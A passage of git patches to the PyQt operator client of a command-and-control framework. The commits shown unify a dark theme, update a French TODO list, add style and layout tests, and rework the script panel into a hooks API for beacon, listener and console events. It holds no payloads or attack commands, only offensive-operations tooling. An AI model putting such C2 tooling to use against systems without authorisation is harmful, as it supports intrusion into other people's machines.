width: 22px; + }} + QComboBox QAbstractItemView {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QTableWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + alternate-background-color: #101820; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + gridline-color: {CONSOLE_COLORS["border"]}; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QTableWidget::item {{ + padding: 3px 6px; + }} + QHeaderView::section {{ + background-color: #111827; + color: {CONSOLE_COLORS["header"]}; + border: 0; + border-bottom: 1px solid {CONSOLE_COLORS["border"]}; + padding: 4px 6px; + }} + QTableCornerButton::section {{ + background-color: #111827; + border: 0; + border-bottom: 1px solid {CONSOLE_COLORS["border"]}; + }} + """ + ) diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index 08d419b..dfa25c2 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -176,6 +176,9 @@ def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): ] qtbot.addWidget(listeners) + assert "#0b1117" in listeners.styleSheet() + assert "#263241" in listeners.styleSheet() + listeners.printListeners() assert listeners.addListenerButton.isEnabled() is True assert listeners.stopListenerButton.isEnabled() is False diff --git a/C2Client/tests/test_script_panel.py b/C2Client/tests/test_script_panel.py index ddeef92..1a35793 100644 --- a/C2Client/tests/test_script_panel.py +++ b/C2Client/tests/test_script_panel.py @@ -86,6 +86,8 @@ def test_script_panel_lists_hooks_and_import_errors(qtbot, monkeypatch): script_panel = Script(None, object()) qtbot.addWidget(script_panel) + assert "#0b1117" in script_panel.styleSheet() + assert "#263241" in script_panel.styleSheet() assert script_panel.automationTable.rowCount() == 2 assert script_panel.scriptStates["ConsoleContextScript"]["hooks"] == ["OnConsoleSend"] assert script_panel.scriptStates["C2Client.Scripts.badScript"]["errors"] == 1 diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index 58cd079..33eb0b6 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -40,6 +40,9 @@ def test_sessions_table_labels_arch_as_beacon_process(qtbot, monkeypatch): sessions.listSessionObject = [] qtbot.addWidget(sessions) + assert "#0b1117" in sessions.styleSheet() + assert "#263241" in sessions.styleSheet() + sessions.printSessions() arch_header = sessions.listSession.horizontalHeaderItem(4) From db6c53d26606112edb5da27049148c6406980f98 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 22:17:23 +0200 Subject: [PATCH 18/82] minor --- C2Client/TODO.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 07864dd..b717642 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -12,15 +12,15 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 4 | [x] | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | | 5 | [x] | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | | 6 | [x] | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | -| 7 | [x] | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC et statuts panels harmonises. | +| 7 | [x] | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC, statuts panels et theme sombre harmonises. | | 8 | [x] | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | | 9 | [ ] | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | | 10 | [x] | Humaniser l'etat des sessions | M | Fort | Fait. Etat `Alive/Stale/Killed/Unknown`, last seen relatif, seuil `C2_SESSION_STALE_AFTER_MS=30000`, couleurs discretes et OS complet en tooltip. | | 11 | [x] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | | 12 | [x] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Fait. Table scripts/hooks, enable/disable, erreurs par script, compteur d'activations, run manuel et hook `ManualStart(context)` avec snapshots sessions/listeners; subtilites de triggers en tooltip. | -| 13 | [ ] | Ameliorer le formulaire listener | M | Moyen | Partiel. Validation port/IP/domain/token avant RPC, defaults par type et erreurs inline; previsualisation de la config encore a faire. | +| 13 | [x] | Ameliorer le formulaire listener | M | Moyen | Fait. Validation port/IP/domain/token avant RPC, defaults par type, aide inline, erreurs inline et bouton Add bloque tant que les champs sont invalides. | | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | -| 15 | [ ] | Ameliorer le graph | M | Moyen | Zoom, fit-to-view, layout persistant, clic node pour ouvrir details/console, couleurs par listener/status. | +| 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | | 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Remplacer l'autocompletion hardcodee par une source serveur: nom, OS, aide, arguments, exemples, module charge ou non. | From 75ae88de1a1496dc075629475780eef9bdf8238a Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 08:49:23 +0200 Subject: [PATCH 19/82] Unify theme --- C2Client/C2Client/ConsolePanel.py | 71 ++++++++++++++++++---------- C2Client/C2Client/GUI.py | 26 ++++++---- C2Client/C2Client/GraphPanel.py | 3 -- C2Client/C2Client/panel_style.py | 66 ++++++++++++++++++++++++++ C2Client/tests/test_console_panel.py | 31 +++++++++++- C2Client/tests/test_gui_startup.py | 29 ++++++++++-- 6 files changed, 184 insertions(+), 42 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index b4ce692..f3a59cd 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -430,43 +430,69 @@ class ConsolesTab(QWidget): def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) - widget = QWidget(self) - self.layout = QHBoxLayout(widget) + self.setObjectName("C2ConsolesTab") + self.setStyleSheet( + f""" + QWidget#C2ConsolesTab, + QWidget#C2ConsolePage {{ + background-color: {CONSOLE_COLORS["background"]}; + }} + QTabWidget#C2ConsoleTabs {{ + background-color: #070b10; + border: 0; + }} + QTabWidget#C2ConsoleTabs::pane {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + top: -1px; + }} + QTabWidget#C2ConsoleTabs QStackedWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 0; + }} + QTabWidget#C2ConsoleTabs QTabBar {{ + background-color: #070b10; + }} + """ + ) + self.layout = QHBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(0) # Initialize tab screen - self.tabs = QTabWidget() + self.tabs = QTabWidget(self) + self.tabs.setObjectName("C2ConsoleTabs") self.tabs.setTabsClosable(True) self.tabs.tabCloseRequested.connect(self.closeTab) # Add tabs to widget self.layout.addWidget(self.tabs) - self.setLayout(self.layout) self.grpcClient = grpcClient - tab = QWidget() - self.tabs.addTab(tab, TerminalTabTitle) - tab.layout = QVBoxLayout(self.tabs) self.terminal = Terminal(self, self.grpcClient) - tab.layout.addWidget(self.terminal) - tab.setLayout(tab.layout) + tab = self.createConsolePage(self.terminal) + self.tabs.addTab(tab, TerminalTabTitle) self.tabs.setCurrentIndex(self.tabs.count()-1) - tab = QWidget() - self.tabs.addTab(tab, "Script") - tab.layout = QVBoxLayout(self.tabs) self.script = Script(self, self.grpcClient) - tab.layout.addWidget(self.script) - tab.setLayout(tab.layout) + tab = self.createConsolePage(self.script) + self.tabs.addTab(tab, "Script") self.tabs.setCurrentIndex(self.tabs.count()-1) - tab = QWidget() - self.tabs.addTab(tab, "Data AI") - tab.layout = QVBoxLayout(self.tabs) self.assistant = Assistant(self, self.grpcClient) - tab.layout.addWidget(self.assistant) - tab.setLayout(tab.layout) + tab = self.createConsolePage(self.assistant) + self.tabs.addTab(tab, "Data AI") self.tabs.setCurrentIndex(self.tabs.count()-1) + + def createConsolePage(self, child): + tab = QWidget() + tab.setObjectName("C2ConsolePage") + layout = QVBoxLayout(tab) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(0) + layout.addWidget(child) + return tab @pyqtSlot() def on_click(self): @@ -487,14 +513,11 @@ def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=True if tabAlreadyOpen==False: - tab = QWidget() - self.tabs.addTab(tab, beaconHash[0:8]) - tab.layout = QVBoxLayout(self.tabs) console = Console(self, self.grpcClient, beaconHash, listenerHash, hostname, username) console.consoleScriptSignal.connect(self.script.consoleScriptMethod) console.consoleScriptSignal.connect(self.assistant.consoleAssistantMethod) - tab.layout.addWidget(console) - tab.setLayout(tab.layout) + tab = self.createConsolePage(console) + self.tabs.addTab(tab, beaconHash[0:8]) self.tabs.setCurrentIndex(self.tabs.count()-1) def closeTab(self, currentIndex): diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 08eadb7..0ebb05f 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -16,7 +16,6 @@ QLabel, QLineEdit, QMainWindow, - QPushButton, QTabWidget, QVBoxLayout, QWidget, @@ -28,6 +27,7 @@ from .ConsolePanel import ConsolesTab from .GraphPanel import Graph from .env import env_bool, env_int, env_value, load_c2_env +from .panel_style import apply_main_window_style from .ui_status import ( DEFAULT_LAST_ERROR_TEXT, DEFAULT_LAST_RPC_TEXT, @@ -143,8 +143,10 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.top = 0 self.width = 1000 self.height = 1000 + self.setObjectName("C2MainWindow") self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) + apply_main_window_style(self) self.rpcStatusEvents = RpcStatusEvents(self) self.rpcStatusEvents.rpcStatus.connect(self.updateRpcStatus) @@ -153,15 +155,16 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.setupStatusBar() central_widget = QWidget() + central_widget.setObjectName("C2CentralWidget") self.setCentralWidget(central_widget) - config_button = QPushButton("Payload") - config_button.clicked.connect(self.payloadForm) - self.mainLayout = QGridLayout(central_widget) - self.mainLayout.setContentsMargins(0, 0, 0, 0) - self.mainLayout.setRowStretch(1, 3) - self.mainLayout.setRowStretch(2, 7) + self.mainLayout.setContentsMargins(6, 6, 6, 6) + self.mainLayout.setHorizontalSpacing(6) + self.mainLayout.setVerticalSpacing(6) + self.mainLayout.setColumnStretch(0, 1) + self.mainLayout.setRowStretch(0, 3) + self.mainLayout.setRowStretch(1, 7) self.topLayout() self.botLayout() @@ -233,11 +236,14 @@ def topLayout(self) -> None: """Initialise the upper part of the main window.""" self.topWidget = QTabWidget() + self.topWidget.setObjectName("C2TopTabs") self.m_main = QWidget() + self.m_main.setObjectName("C2MainTab") self.m_main.layout = QHBoxLayout(self.m_main) - self.m_main.layout.setContentsMargins(0, 0, 0, 0) + self.m_main.layout.setContentsMargins(4, 4, 4, 4) + self.m_main.layout.setSpacing(6) self.sessionsWidget = Sessions(self, self.grpcClient) self.listenersWidget = Listeners(self, self.grpcClient) @@ -251,14 +257,14 @@ def topLayout(self) -> None: self.graphWidget = Graph(self, self.grpcClient) self.topWidget.addTab(self.graphWidget, "Graph") - self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1) + self.mainLayout.addWidget(self.topWidget, 0, 0, 1, 1) def botLayout(self) -> None: """Initialise the bottom console area.""" self.consoleWidget = ConsolesTab(self, self.grpcClient) - self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2) + self.mainLayout.addWidget(self.consoleWidget, 1, 0, 1, 1) def __del__(self) -> None: diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index 66f203a..d1442b0 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -11,7 +11,6 @@ QGraphicsPixmapItem, QGraphicsScene, QGraphicsView, - QLabel, QPushButton, QVBoxLayout, QWidget, @@ -312,8 +311,6 @@ def __init__(self, parent, grpcClient): self.vbox.setSpacing(4) self.toolbar = QHBoxLayout() self.toolbar.setSpacing(4) - self.titleLabel = QLabel("Graph") - self.toolbar.addWidget(self.titleLabel) self.toolbar.addStretch(1) self.refreshButton = self.createToolbarButton("Refresh", "Refresh graph now.", width=70) self.refreshButton.clicked.connect(self.updateGraph) diff --git a/C2Client/C2Client/panel_style.py b/C2Client/C2Client/panel_style.py index 8ecf607..140404e 100644 --- a/C2Client/C2Client/panel_style.py +++ b/C2Client/C2Client/panel_style.py @@ -3,6 +3,72 @@ from .console_style import CONSOLE_COLORS +def main_window_stylesheet() -> str: + return f""" + QMainWindow#C2MainWindow {{ + background-color: #070b10; + color: {CONSOLE_COLORS["text"]}; + }} + QWidget#C2CentralWidget {{ + background-color: #070b10; + color: {CONSOLE_COLORS["text"]}; + }} + QWidget#C2MainTab {{ + background-color: {CONSOLE_COLORS["background"]}; + }} + QTabWidget {{ + background-color: #070b10; + }} + QTabWidget::pane {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + top: -1px; + }} + QTabWidget > QWidget, + QStackedWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + }} + QTabBar {{ + background-color: #070b10; + }} + QTabBar::tab {{ + background-color: #101820; + color: {CONSOLE_COLORS["muted"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + border-bottom: 0; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + padding: 6px 12px; + margin-right: 2px; + min-height: 20px; + }} + QTabBar::tab:selected {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["header"]}; + border-color: {CONSOLE_COLORS["border"]}; + }} + QTabBar::tab:hover {{ + color: {CONSOLE_COLORS["header"]}; + border-color: {CONSOLE_COLORS["timestamp"]}; + }} + QTabBar::tab:!selected {{ + margin-top: 2px; + }} + QStatusBar {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border-top: 1px solid {CONSOLE_COLORS["border"]}; + }} + QStatusBar QLabel {{ + padding: 2px 6px; + }} + """ + + +def apply_main_window_style(window) -> None: + window.setStyleSheet(main_window_stylesheet()) + + def apply_dark_panel_style(widget) -> None: widget.setStyleSheet( f""" diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index ced68d5..3cd92e0 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -8,7 +8,7 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.ConsolePanel import Console +from C2Client.ConsolePanel import Console, ConsolesTab from C2Client.grpcClient import TeamServerApi_pb2 @@ -31,6 +31,11 @@ def streamSessionCommandResults(self, session): return self.responses +class DummyPanel(QWidget): + def __init__(self, parent=None, *_args, **_kwargs): + super().__init__(parent) + + def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) @@ -220,3 +225,27 @@ def test_console_replays_structured_log_on_reopen(tmp_path, qtbot, monkeypatch): assert "user" in output assert reopened.commandStatusById[command_id]["status"] == "done" assert command_id in reopened.renderedResponseIds + + +def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): + monkeypatch.setattr('C2Client.ConsolePanel.Terminal', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Script', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Assistant', DummyPanel) + + parent = QWidget() + consoles = ConsolesTab(parent, StubGrpc()) + qtbot.addWidget(consoles) + + assert consoles.objectName() == "C2ConsolesTab" + assert consoles.tabs.objectName() == "C2ConsoleTabs" + assert "#0b1117" in consoles.styleSheet() + assert "#070b10" in consoles.styleSheet() + assert consoles.layout.contentsMargins().left() == 0 + assert consoles.layout.spacing() == 0 + + for index in range(consoles.tabs.count()): + page = consoles.tabs.widget(index) + assert page.objectName() == "C2ConsolePage" + assert page.layout().contentsMargins().left() == 0 + assert page.layout().contentsMargins().top() == 0 + assert page.layout().spacing() == 0 diff --git a/C2Client/tests/test_gui_startup.py b/C2Client/tests/test_gui_startup.py index cabc848..713fcf7 100644 --- a/C2Client/tests/test_gui_startup.py +++ b/C2Client/tests/test_gui_startup.py @@ -19,8 +19,8 @@ class DummyWidget(QWidget): listenerScriptSignal = DummySignal() interactWithSession = DummySignal() - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) + def __init__(self, parent=None, *_args, **_kwargs): + super().__init__(parent) def scriptSnapshot(self): return [{"source": self.__class__.__name__}] @@ -38,8 +38,8 @@ def setClientStateProvider(self, provider): class DummyConsole(QWidget): - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) + def __init__(self, parent=None, *_args, **_kwargs): + super().__init__(parent) self.script = DummyScript() self.assistant = SimpleNamespace(sessionAssistantMethod=lambda *a, **k: None) @@ -74,6 +74,27 @@ def fake_bot(self): assert app.rpcStatusLabel.text() == "Last RPC: none" +def test_gui_shell_uses_dark_single_column_layout(qtbot, monkeypatch): + monkeypatch.setattr(GUI, 'GrpcClient', lambda *args, **kwargs: object()) + monkeypatch.setattr(GUI, 'Sessions', DummyWidget) + monkeypatch.setattr(GUI, 'Listeners', DummyWidget) + monkeypatch.setattr(GUI, 'Graph', DummyWidget) + monkeypatch.setattr(GUI, 'ConsolesTab', DummyConsole) + + app = GUI.App('127.0.0.1', 50051, False) + qtbot.addWidget(app) + + assert app.objectName() == "C2MainWindow" + assert app.centralWidget().objectName() == "C2CentralWidget" + assert app.topWidget.objectName() == "C2TopTabs" + assert app.m_main.objectName() == "C2MainTab" + assert "#070b10" in app.styleSheet() + assert "#263241" in app.styleSheet() + assert app.mainLayout.itemAtPosition(0, 0).widget() is app.topWidget + assert app.mainLayout.itemAtPosition(1, 0).widget() is app.consoleWidget + assert app.mainLayout.itemAtPosition(1, 1) is None + + def test_gui_status_bar_updates_rpc_status(qtbot, monkeypatch): monkeypatch.setattr(GUI, 'GrpcClient', lambda *args, **kwargs: object()) From 9c468ff314cb59870be5f71809df7fdc159b26db Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 09:20:41 +0200 Subject: [PATCH 20/82] Unify client hooks API and rename Script tab --- C2Client/C2Client/ConsolePanel.py | 2 +- C2Client/C2Client/ListenerPanel.py | 18 +- C2Client/C2Client/ScriptPanel.py | 224 ++++++++++++------ C2Client/C2Client/Scripts/checkSandbox.py | 12 +- .../C2Client/Scripts/loadCommonModules.py | 78 +++--- .../C2Client/Scripts/startListenerHttp8443.py | 8 +- C2Client/C2Client/Scripts/template.py.example | 62 ++--- C2Client/C2Client/SessionPanel.py | 4 +- C2Client/tests/test_console_panel.py | 1 + C2Client/tests/test_script_panel.py | 95 +++++--- 10 files changed, 313 insertions(+), 191 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index f3a59cd..176d9be 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -477,7 +477,7 @@ def __init__(self, parent, grpcClient): self.script = Script(self, self.grpcClient) tab = self.createConsolePage(self.script) - self.tabs.addTab(tab, "Script") + self.tabs.addTab(tab, "Hooks") self.tabs.setCurrentIndex(self.tabs.count()-1) self.assistant = Assistant(self, self.grpcClient) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 35d1a45..2ce9975 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -452,18 +452,22 @@ def listListeners(self): # add # if listener is not yet already on our list if not inStore: - - self.listenerScriptSignal.emit("start", "", "", "") - if listener.type == GithubType: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.project, listener.token[0:10], listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.project, listener.token[0:10], listener.session_count) elif listener.type == DnsType: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.domain, listener.port, listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.domain, listener.port, listener.session_count) elif listener.type == SmbType: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.domain, listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.domain, listener.session_count) else: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.port, listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.port, listener.session_count) + self.listListenerObject.append(listenerStore) self.idListener = self.idListener+1 + self.listenerScriptSignal.emit( + "start", + listenerStore.listenerHash, + listenerStore.type, + listenerStore.host, + ) self.printListeners() diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 38746d7..7c1e9aa 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -2,7 +2,6 @@ import os import logging import importlib -import inspect from pathlib import Path from datetime import datetime @@ -76,7 +75,7 @@ ] HOOK_TRIGGER_NOTES = { - "ManualStart": "Manual-only hook launched from the Script panel.", + "ManualStart": "Manual-only hook launched from the Hooks panel.", "OnStart": "Client window connected/reconnected to the TeamServer.", "OnStop": "Client window is closing; this depends on Qt widget teardown.", "OnListenerStart": "Listener table saw a listener start event.", @@ -106,14 +105,6 @@ "receive": "OnConsoleReceive", } -MANUAL_HOOKS_WITHOUT_CONTEXT = { - "ManualStart", - "OnStart", - "OnStop", - "OnListenerStart", - "OnListenerStop", -} - SCRIPT_NAME_ROLE = Qt.ItemDataRole.UserRole COL_ENABLED = 0 @@ -146,7 +137,7 @@ # -# Script tab implementation +# Hooks tab implementation # class Script(QWidget): tabPressed = pyqtSignal() @@ -171,7 +162,7 @@ def __init__(self, parent, grpcClient): self.automationTable = QTableWidget() self.automationTable.setColumnCount(6) self.automationTable.setHorizontalHeaderLabels( - ["Active", "Script", "Hooks", "Last run", "Runs", "Errors"] + ["Active", "Hook file", "Hooks", "Last run", "Runs", "Errors"] ) self.automationTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.automationTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) @@ -192,7 +183,7 @@ def __init__(self, parent, grpcClient): self.manualHookSelector.setMinimumWidth(220) self.runHookButton = QPushButton("Run Hook") self.runHookButton.clicked.connect(self.runSelectedHook) - manualLayout.addWidget(QLabel("Manual action:")) + manualLayout.addWidget(QLabel("Manual hook:")) manualLayout.addWidget(self.manualHookSelector, 1) manualLayout.addWidget(self.runHookButton) self.layout.addLayout(manualLayout) @@ -224,19 +215,25 @@ def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, userna if not hookName: return - self.dispatchHook( + event = { + "beacon_hash": beaconHash, + "listener_hash": listenerHash, + "hostname": hostname, + "username": username, + "arch": arch, + "privilege": privilege, + "os": os, + "last_proof_of_life": lastProofOfLife, + "killed": killed, + } + context = self.buildHookContext( hookName, - HOOK_TRIGGER_NOTES[hookName], - beaconHash, - listenerHash, - hostname, - username, - arch, - privilege, - os, - lastProofOfLife, - killed, + action, + objectType="session", + objectId=beaconHash, + event=event, ) + self.dispatchHook(hookName, context) def listenerScriptMethod(self, action, hash, str3, str4): @@ -244,7 +241,19 @@ def listenerScriptMethod(self, action, hash, str3, str4): if not hookName: return - self.dispatchHook(hookName, HOOK_TRIGGER_NOTES[hookName], hash, str3, str4) + event = { + "listener_hash": hash, + "type": str3, + "host": str4, + } + context = self.buildHookContext( + hookName, + action, + objectType="listener", + objectId=hash, + event=event, + ) + self.dispatchHook(hookName, context) def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result, commandId=""): @@ -252,23 +261,34 @@ def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, re if not hookName: return - self.dispatchHook( + event = { + "beacon_hash": beaconHash, + "listener_hash": listenerHash, + "console_context": context, + "command": cmd, + "result": result, + "command_id": commandId, + } + hookContext = self.buildHookContext( hookName, - HOOK_TRIGGER_NOTES[hookName], - beaconHash, - listenerHash, - context, - cmd, - result, - commandId, + action, + objectType="session", + objectId=beaconHash, + event=event, ) + self.dispatchHook(hookName, hookContext) def mainScriptMethod(self, action, str2, str3, str4): hookName = MAIN_HOOKS.get(action) if not hookName: return - self.dispatchHook(hookName, HOOK_TRIGGER_NOTES[hookName]) + context = self.buildHookContext( + hookName, + action, + event={"action": action}, + ) + self.dispatchHook(hookName, context) def setClientStateProvider(self, provider): self.clientStateProvider = provider or self.emptyClientState @@ -303,6 +323,49 @@ def copySnapshotItems(self, items): copied.append(dict(item)) return copied + def buildHookContext(self, hookName, trigger, *, objectType="", objectId="", event=None): + snapshot = self.clientStateSnapshot() + event = dict(event or {}) + objectType = str(objectType or "") + objectId = str(objectId or "") + resolvedObject = self.resolveSnapshotObject(snapshot, objectType, objectId) + + context = { + "hook": hookName, + "trigger": trigger, + "trigger_description": HOOK_TRIGGER_NOTES.get(hookName, ""), + "timestamp": datetime.now().isoformat(timespec="seconds"), + "object_type": objectType, + "object_id": objectId, + "object": resolvedObject, + "sessions": snapshot.get("sessions", []), + "listeners": snapshot.get("listeners", []), + "event": event, + } + if "error" in snapshot: + context["snapshot_error"] = snapshot["error"] + return context + + def resolveSnapshotObject(self, snapshot, objectType, objectId): + if not objectType or not objectId: + return None + + if objectType == "session": + collection = snapshot.get("sessions", []) + keys = ("beacon_hash", "id") + elif objectType == "listener": + collection = snapshot.get("listeners", []) + keys = ("listener_hash", "id") + else: + return None + + objectId = str(objectId) + for item in collection: + for key in keys: + if str(item.get(key, "")) == objectId: + return dict(item) + return None + def buildAutomationStates(self): self.scriptStates = {} for script in LoadedScripts: @@ -317,6 +380,8 @@ def buildAutomationStates(self): "errors": 0, "last_error": "", "load_error": "", + "description": self.scriptDescription(script), + "hook_descriptions": self.scriptHookDescriptions(script), } for failure in FailedScripts: @@ -330,6 +395,8 @@ def buildAutomationStates(self): "errors": 1, "last_error": error, "load_error": error, + "description": "", + "hook_descriptions": {}, } def refreshAutomationTable(self): @@ -393,8 +460,10 @@ def updateAutomationRow(self, scriptName): def updateAutomationRowTooltip(self, row, scriptName): state = self.scriptStates[scriptName] hookNotes = [] + if state.get("description"): + hookNotes.append(state["description"]) for hookName in state["hooks"]: - hookNotes.append(f"{hookName}: {HOOK_TRIGGER_NOTES.get(hookName, 'Custom hook.')}") + hookNotes.append(f"{hookName}: {self.hookDescription(state, hookName)}") tooltip = "\n".join(hookNotes) or state["last_error"] or "No hook detected." if state["last_error"]: tooltip += "\nLast error: " + state["last_error"] @@ -431,7 +500,7 @@ def updateManualHookSelector(self): index = self.manualHookSelector.count() - 1 self.manualHookSelector.setItemData( index, - HOOK_TRIGGER_NOTES.get(hookName, ""), + self.hookDescription(state, hookName), Qt.ItemDataRole.ToolTipRole, ) self.runHookButton.setEnabled(True) @@ -458,6 +527,26 @@ def scriptHooks(self, script): hooks.append(hookName) return hooks + def scriptDescription(self, script): + description = getattr(script, "DESCRIPTION", "") or getattr(script, "__doc__", "") + return str(description or "").strip() + + def scriptHookDescriptions(self, script): + descriptions = getattr(script, "HOOK_DESCRIPTIONS", {}) or {} + if not isinstance(descriptions, dict): + return {} + return { + str(hookName): str(description).strip() + for hookName, description in descriptions.items() + if str(description).strip() + } + + def hookDescription(self, state, hookName): + return ( + state.get("hook_descriptions", {}).get(hookName) + or HOOK_TRIGGER_NOTES.get(hookName, "Custom hook.") + ) + def parseFailedScript(self, failure): scriptName, separator, error = str(failure).partition(":") return scriptName.strip() or "unknown", error.strip() if separator else str(failure) @@ -468,28 +557,24 @@ def printLoadedAutomationSummary(self): if state["script"] is None: continue loaded.append(f"{self.displayScriptName(scriptName)}: {', '.join(state['hooks']) or 'no hooks'}") - self.printInTerminal("Loaded automations:", "\n".join(loaded) or "No script loaded.") + self.printInTerminal("Loaded hooks:", "\n".join(loaded) or "No hook file loaded.") failed = [] for scriptName, state in sorted(self.scriptStates.items()): if state["script"] is None: failed.append(f"{scriptName}: {state['last_error']}") if failed: - 